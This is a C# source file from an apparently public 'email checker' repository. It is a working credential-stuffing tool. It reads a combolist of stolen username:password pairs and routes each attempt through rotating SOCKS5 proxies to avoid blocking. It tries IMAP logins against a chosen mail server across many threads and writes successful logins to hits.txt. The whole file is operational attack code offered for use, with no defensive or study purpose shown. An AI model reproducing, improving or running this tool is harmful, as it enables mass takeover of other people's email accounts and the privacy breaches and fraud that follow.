-
Notifications
You must be signed in to change notification settings - Fork 0
/
Checker.cs
205 lines (168 loc) · 6.46 KB
/
Checker.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
using Chilkat;
using System.Collections.Concurrent;
using System.Drawing;
using Console = Colorful.Console;
using Task = System.Threading.Tasks.Task;
namespace email_checker
{
internal class Checker
{
private static List<string>? proxies;
private static ConcurrentQueue<string>? combos;
private static Random? rng;
private static bool useSsl;
private static int checks = 0;
private static int hits = 0;
private static int miss = 0;
private static int failed = 0;
static async Task LoadProxies()
{
Console.WriteLine($"Loading proxies...", Color.Yellow);
string proxiesPath = Path.Combine(Environment.CurrentDirectory, "proxies.txt");
if (!File.Exists(proxiesPath))
{
Console.WriteLine($"No proxies loaded, running in proxyless mode!", Color.Orange);
return;
}
proxies = (await File.ReadAllLinesAsync(proxiesPath)).ToList();
Console.WriteLine($"Loaded successfully {proxies.Count} proxies!", Color.Green);
}
static async Task LoadCombo()
{
Console.WriteLine($"Loading combolist...", Color.Yellow);
string comboPath = Path.Combine(Environment.CurrentDirectory, "combo.txt");
if (!File.Exists(comboPath))
{
Console.WriteLine($"Failed to find the combo.txt file!", Color.Red);
Console.WriteLine($"EXITING BYE!", Color.Red);
Console.ReadLine();
Environment.Exit(0);
return;
}
combos = new ConcurrentQueue<string>(await File.ReadAllLinesAsync(comboPath));
if (combos.Count == 0)
{
Console.WriteLine($"Combolist is empty!", Color.Red);
Console.WriteLine($"EXITING BYE!", Color.Red);
Console.ReadLine();
Environment.Exit(0);
return;
}
Console.WriteLine($"Loaded successfully {combos.Count} combo lines!", Color.Green);
}
static Imap GetImap()
{
Imap imap = new Imap();
imap.Ssl = useSsl;
if (proxies != null && proxies.Count > 0)
{
string proxyLine = proxies[rng.Next(0, proxies.Count - 1)];
string[] split = proxyLine.Split(":");
imap.SocksHostname = split[0];
imap.SocksVersion = 5;
imap.SocksPort = int.Parse(split[1]);
if (split.Length == 4)
{
imap.SocksUsername = split[2];
imap.SocksPassword = split[3];
}
}
return imap;
}
static Task<bool?> Check(string username, string password, string domain, int port)
{
try
{
Imap imap = GetImap();
imap.Port = port;
bool res = imap.Connect(domain);
if (!res)
return System.Threading.Tasks.Task.FromResult<bool?>(null);
return System.Threading.Tasks.Task.FromResult<bool?>(imap.Login(username, password));
}
catch (Exception)
{
return System.Threading.Tasks.Task.FromResult<bool?>(null);
}
}
static async Task WorkerThread(string domain, int port)
{
while (combos.TryDequeue(out string? line))
{
string[] split = line.Split(":");
if (split.Length != 2)
continue;
var res = await Check(split[0], split[1], domain, port);
Interlocked.Increment(ref checks);
if (!res.HasValue)
{
Console.WriteLine($"[FAIL] {line} - {domain}", Color.Red);
Interlocked.Increment(ref failed);
continue;
}
else if (res.Value)
{
Console.WriteLine($"[HIT] {line} - {domain}", Color.Green);
string hitsPath = Path.Combine(Environment.CurrentDirectory, "hits.txt");
await File.AppendAllLinesAsync(hitsPath, new string[] { line });
Interlocked.Increment(ref hits);
continue;
}
else
{
Console.WriteLine($"[MISS] {line} - {domain}", Color.Red);
Interlocked.Increment(ref miss);
continue;
}
}
}
public static async Task MainAsync(string[] args)
{
Console.WriteLine($"Email Checker - By Malohtie (MED AMINE EL ATTABI) - Telegram: @malohtie", Color.Cyan);
rng = new Random((int)DateTime.Now.Ticks);
int threads = 0;
string domain = "";
int port = 993;
while (true)
{
Console.Write("Thread Amount: ", Color.Yellow);
if (!int.TryParse(Console.ReadLine(), out threads))
continue;
break;
}
while (true)
{
Console.Write("imap domain: ", Color.Yellow);
domain = Console.ReadLine().ToLower();
if (string.IsNullOrEmpty(domain))
continue;
break;
}
while (true)
{
Console.Write("imap port: ", Color.Yellow);
if (!int.TryParse(Console.ReadLine(), out port))
continue;
break;
}
Console.Write("Ssl [yes/no] default (yes): ");
if (Console.ReadLine().ToLower() == "no")
useSsl = false;
else
useSsl = true;
ThreadPool.SetMinThreads(threads, threads);
ThreadPool.SetMaxThreads(threads, threads);
await LoadProxies();
await LoadCombo();
List<Task> tasks = new();
for (int i = 0; i < threads; i++)
tasks.Add(Task.Run(() => WorkerThread(domain, port)));
while (tasks.Any(c => !c.IsCompleted))
{
Console.Title = $"Email Checker | CPM: {checks * 60} | Hits: {hits} | Miss: {miss} | Failed: {failed}";
checks = 0;
Thread.Sleep(1000);
}
}
}
}